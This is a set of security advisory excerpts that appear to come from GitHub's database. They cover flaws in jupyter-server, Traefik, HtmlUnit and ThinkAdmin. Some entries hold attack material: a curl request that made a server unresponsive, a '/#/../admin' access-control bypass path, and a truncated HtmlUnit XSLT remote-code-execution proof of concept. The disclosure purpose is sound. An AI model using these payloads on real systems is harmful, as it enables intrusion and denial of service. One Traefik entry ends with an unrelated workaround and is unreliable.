Source
ghsa
### Impact Unhandled errors in API requests include traceback information, which can include path information. There is no known mechanism by which to trigger these errors without authentication, so the paths revealed are not considered particularly sensitive, given that the requesting user has arbitrary execution permissions already in the same environment. ### Patches jupyter-server PATCHED_VERSION no longer includes traceback information in JSON error responses. For compatibility, the traceback field is present, but always empty. ### Workarounds None
### Summary The traefik docker container uses 100% CPU when it serves as its own backend, which is an automatically generated route resulting from the Docker integration in the default configuration. ### Details While attempting to set up Traefik to handle traffic for Docker containers, I observed in the webUI a rule with the following information: `Host(traefik-service) | webwebsecure | traefik-service@docker | traefik-service` I assumed that this is something internal; however, I wondered why it would have a host rule on the web entrypoint configured. So I have send a request with that hostname with `curl -v --resolve "traefik-service:80:xxx.xxx.xxx.xxx" http://traefik-service`. That made my whole server unresponsive. I assume the name comes from a docker container with that name, traefik itself: ``` localhost ~ # docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS ...
## Impact There is a potential vulnerability in Traefik managing the ACME HTTP challenge. When Traefik is configured to use the [HTTPChallenge](https://doc.traefik.io/traefik/https/acme/#httpchallenge) to generate and renew the Let's Encrypt TLS certificates, the delay authorized to solve the challenge (50 seconds) can be exploited by attackers ([slowloris attack](https://www.cloudflare.com/learning/ddos/ddos-attack-tools/slowloris/)). ## Patches - https://github.com/traefik/traefik/releases/tag/v2.10.6 - https://github.com/traefik/traefik/releases/tag/v3.0.0-beta5 ## Workarounds Replace the HTTPChallenge with the [TLSChallenge](https://doc.traefik.io/traefik/https/acme/#tlschallenge) or the [DNSChallenge](https://doc.traefik.io/traefik/https/acme/#dnschallenge). ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).
### Summary When a request is sent to Traefik with a URL fragment, Traefik automatically URL encodes and forwards the fragment to the backend server. This violates the RFC because in the origin-form the URL should only contain the absolute path and the query. When this is combined with another frontend proxy like Nginx, it can be used to bypass frontend proxy URI-based access control restrictions. ### Details For example, we have this Nginx configuration: ``` location /admin { deny all; return 403; } ``` This can be bypassed when the attacker is requesting to /#/../admin This won’t be vulnerable if the backend server follows the RFC and ignores any characters after the fragment. However, if Nginx is chained with another reverse proxy which automatically URL encode the character # (Traefik) the URL will become /%23/../admin And allow the attacker to completely bypass the Access Restriction from the Nginx Front-End proxy. Here is a diagram to summarize the attack:  ### Workarounds Directly using the REST API of the Coordinator and manually verifying and pinning the certificate to a set Manifest avoids the issue.
### Summary HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage ### Details Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode) The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor ### PoC pom.xml: ``` <dependency> <groupId>org.htmlunit</groupId> <artifactId>htmlunit</artifactId> <version>3.8.0</version> </dependency> ``` code: ``` WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER); HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html"); System.out.println(page.asNormalizedText()); ``` test.html: ``` <script> var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0"); var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0"); var xslProc; xslDoc.async = false; xslDoc.loadXML(`<xsl:stylesheet version="1.0" xmlns:xsl="htt...
An arbitrary file upload vulnerability in the component /admin/api.upload/file of ThinkAdmin v6.1.53 allows attackers to execute arbitrary code via a crafted Zip file.